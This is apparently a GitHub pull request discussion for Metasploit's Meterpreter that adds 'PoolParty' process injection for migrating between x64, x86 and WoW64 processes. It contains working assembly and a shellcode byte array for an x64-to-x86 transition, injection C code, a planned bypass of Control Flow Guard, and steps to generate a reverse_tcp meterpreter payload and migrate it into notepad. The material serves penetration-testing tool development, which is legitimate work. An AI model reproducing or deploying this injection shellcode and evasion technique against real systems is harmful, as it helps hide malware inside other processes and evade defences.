-
Notifications
You must be signed in to change notification settings - Fork 670
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Injection using PoolParty #710
Conversation
Windows 10x64 v1511
Windows 10x64 1903
Windows 10x64 2022
Windows 2016x64
Windows 2019
Windows 2022
|
You mentioned you'd tested on Win 7 and 10, so here's 8:
|
Yep I was expecting to not work on Windows 8 targets, So far the TP injection variants seems to work well on Windows 11 and Windows 10. Probably the best shot is to use the WorkerFactory Overwrite when the system is below Windows 10. |
Injection from x64 to WoW64Im leaving here a comment to document my attempt to perform the injection from a x64 process to WoW64 target. Escaping from HeavenThe problem is that this injection, happen on the 64-bit context of a WoW64 process.
While we are in Heaven we don't have access to wow64-user-apc |
I have spent some time on the pool party x64 to wow64 migration, and have a solution, some observations, and a problem. First off, the target process will execute our arbitrary address to kick start the migration target-side via The solution seems to be to stay in the x64 context and from here, use Note: We use Next up, it seems in the x64 context of a wow64 process, traversing the PEB can include modules that don't have a pointer to their module name! This causes a null pointer dereference when trying to use the x64 --- a/block_api.asm
+++ b/block_api.asm
@@ -30,6 +30,8 @@ api_call:
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
+ test rsi, rsi ; sanity check the pointer (the x64 context of a wow64 process on Win11 can have a null entry)
+ jz get_next_mod2 ; skip to the next module if rsi is null.
movzx rcx, word [rdx+0x4a] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
@@ -109,5 +111,6 @@ get_next_mod: ;
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
+get_next_mod2: ;
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module Now that [BITS 64]
[ORG 0]
cld ; Clear the direction flag.
call start ;
%include "./src/block/block_api.asm" ;
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
jmp thread_start
start2:
pop rsi
and rsp, ~0xf ; alignment for testing, unsure if we need this.
sub rsp, 128
lea rcx, [rsp] ; hThread
mov rdx, 0x1FFFFF ; DesiredAccess
xor r8, r8 ; ObjectAttributes
xor r9, r9
dec r9 ; ProcessHandle
push r8 ; lpBytesBuffer
push r8 ; SizeOfStackReserve
push r8 ; SizeOfStackCommit
push r8 ; StackZeroBits
push r8 ; Flags, CreateSuspended = FALSE
push r8 ; lpParameter
push rsi ; lpStartAddress
mov r10d, 0x9A3C803E ; 0x9A3C803E = ntdll.dll!NtCreateThreadEx
call rbp ; NtCreateThreadEx(&handle, THREAD_ALL_ACCESS, 0, -1, &thread_start2, 0, FALSE, 0, 0, 0, 0);
nop
loop:
; XXX: TO-DO: return gracefully, instead of looping forever below.
xor eax,eax ; This infinite loop seems necessary to keep the process running.
cmp eax,eax ; Needs further investigation
je loop
nop This is then used to execute the below code in a new local thread. Our new thread will start in the x64 context, but we will perform a long jump to transition to the x86 context. thread_start:
call start2
thread_start2:
WOW64_CODE_SEGMENT EQU 0x23
[BITS 64]
[ORG 0]
cld
call delta2
delta2:
pop rax
add rax, (native_x86-delta2)
sub rsp, 8
mov rdx, rsp
mov dword [rdx+4], WOW64_CODE_SEGMENT
mov dword [rdx], eax
jmp dword far [rsp]
nop Now our new thread will be running x86 code, and we can use the native_x86:
[BITS 32]
nop
jmp _parameters
_cb_parameters:
pop esi ; pop address of ctx
push dword [esi+8] ; ctx->lpParameter
call dword [esi] ; ctx->lpStartAddress
int3
_parameters:
call _cb_parameters ; Simple way to get the address of the POOLPARTYCTX using the return address The above asm becomes the unsigned char x64tox86[] = {
0xfc, 0xe8, 0xd1, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52,
0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x85, 0xf6,
0x0f, 0x84, 0xa5, 0x00, 0x00, 0x00, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d,
0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20,
0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51,
0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81,
0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00,
0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18,
0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58,
0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48,
0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48,
0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41,
0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58,
0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x46, 0xff, 0xff, 0xff, 0x5d,
0xeb, 0x3b, 0x5e, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x81, 0xec, 0x80, 0x00,
0x00, 0x00, 0x48, 0x8d, 0x0c, 0x24, 0xba, 0xff, 0xff, 0x1f, 0x00, 0x4d,
0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x49, 0xff, 0xc9, 0x41, 0x50, 0x41, 0x50,
0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x56, 0x41, 0xba, 0x3e,
0x80, 0x3c, 0x9a, 0xff, 0xd5, 0x90, 0x31, 0xc0, 0x39, 0xc0, 0x74, 0xfa,
0x90, 0xe8, 0xc0, 0xff, 0xff, 0xff, 0xfc, 0xe8, 0x00, 0x00, 0x00, 0x00,
0x58, 0x48, 0x83, 0xc0, 0x19, 0x48, 0x83, 0xec, 0x08, 0x48, 0x89, 0xe2,
0xc7, 0x42, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x02, 0xff, 0x2c, 0x24,
0x90, 0x90, 0xeb, 0x07, 0x5e, 0xff, 0x76, 0x08, 0xff, 0x16, 0xcc, 0xe8,
0xf4, 0xff, 0xff, 0xff
}; and we can use it during else {
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_wow64");
//lpStub = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2);
//memcpy(lpStub, x64tox86, sizeof(x64tox86) - 1);
//memcpy((LPBYTE)lpStub + sizeof(x64tox86) - 1, poolparty_stub_x86, sizeof(poolparty_stub_x86));
//dwStubSize = sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2;
//dwDestinationArch = PROCESS_ARCH_X64;
lpStub = &x64tox86;
dwStubSize = sizeof(x64tox86);
dwDestinationArch = PROCESS_ARCH_X64;
} Finally when the above is used, we can successfully migrate from an x64 process to a wow64 process using the pool party TP_DIRECT insertion technique: Note: I tested this on Windows 11, and the target x86 process was a simple console application I built to test.
Observations
Control Flow GuardSo I was testing on a target process that did not have Control Flow Guard (CFG) enabled (or XFG). When you migrate using the pool party TP_DIRECT insertion technique, into a target wow64 process that has CFG (or XFG) enabled we hit a problem, the indirect call from
This was surprising as I thought any executable memory we I experimented with using This is going to be a problem as CFG is common. For testing I used the x86 binary |
Hi @sfewer-r7, first of all thanks a lot for the time you spent on the PR! I am really happy to see I was overcomplicating the shellcoding part. Regarding the blockapiI got the same issue while testing and I thought the issue was normal and was caused by the fact what I was calling was not present inside the linked list of loaded dlls (for example Regarding infinite loopThe infinite loop was making the migration work while testing but I agree before moving from Draft -> Ready PR this need to be fixed. I will investigate further. Regarding WaitForSingleObjectThat's fine, I have to work on the 32-bit stubs anyway so I will make sure to have an updated one that work for both native 32 and wow64. Regaring Control Flow GuardI have probably a solution and I think the 3rd variant I am implementing will bypass the CFG, precisely is the ThreadFactoryOverwrite, this should work because this variant is overwriting the entry point of the ThreadFactory (which is a function living inside the ntdll address space) that we can obtain from outside. so, if this works I am not expecting lot of issues besides some hacking to make this technique a bit cleaner (like restoring the original code + thread workers count after execution, if this doesn't cause issue during migration). However even if this technique should be fine with |
pNtDll* ntDll = NULL; | ||
DWORD dwResult = ERROR_POOLPARTY_GENERIC; | ||
HANDLE hHeap = GetProcessHeap(); | ||
DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same as above; we should probably quit assuming the arch is x86 if the ARCH is not x64.
Perhaps I'm doing something incorrect.....
And again on Windows 10x64 21h1, x64 meterpreter and notepad native process:
Info
This error appears generated by the conditional statement
Which looks wrong to me? The second part of that condition is an OR between identical statements? It would only pass on migrating from syswow meterpreters to x64 processes? I'm guessing there's a bit of a typo, and it should be
That seems like it would support both x64->x64 and wow64->x64 as expected? |
Good catch, looks like I added some bugs during my cleanup. at least the fall back to CreateRemoteThread is still working 🎉 |
Yup.... great!
|
For testing, I have used meterpreters with logging turned on both migrating and using the screenshot function. Both use poolparty if possible and the logging will show if that's the way it gained thread access. Screenshot on Windows 11 23h2 x64:
|
Windows 7 falls back seamlessly:
|
2a5c0da
to
cc8aa29
Compare
…added custom stub for x64
…wow64->x64 injection
…ed, removed unused variants, better code to execute variants
cc8aa29
to
bea20ef
Compare
bea20ef
to
b85ceb0
Compare
This PR improves the
base_inject.c
to support a new injection using the Pool-Party Injection.What is present in this PR
x64 -> x64
injectionx86 -> x86
Injectionwow64 -> x64
Injectionx64 -> wow64
Injectionwow64 -> wow64
Variants supported
tp_direct_insertion
tp_wait_insertion
worker_factory_overwrite
Verification DLL Injection
The function
dll_injection
has been modified to use the poolparty when possible so is transparent to the user and "Just Works (TM)"Verification Migration
Make sure you have this fixmetasploit-framework/data/meterpreter
msfconsole
use payloads/windows/x64/meterpreter/reverse_tcp
set MeterpreterDebugBuild true
set MeterpreterDebugLogging rpath:C:/Windows/Temp/foo.txt
generate -f exe -o ../shell.exe
C:/Windows/Temp/foo.txt
migrate <note pad>
[*] Migration completed successfully.
you successful migrate using pool partyinject_via_poolparty
will log if the injection was succesful and what variant was used (for now we have one)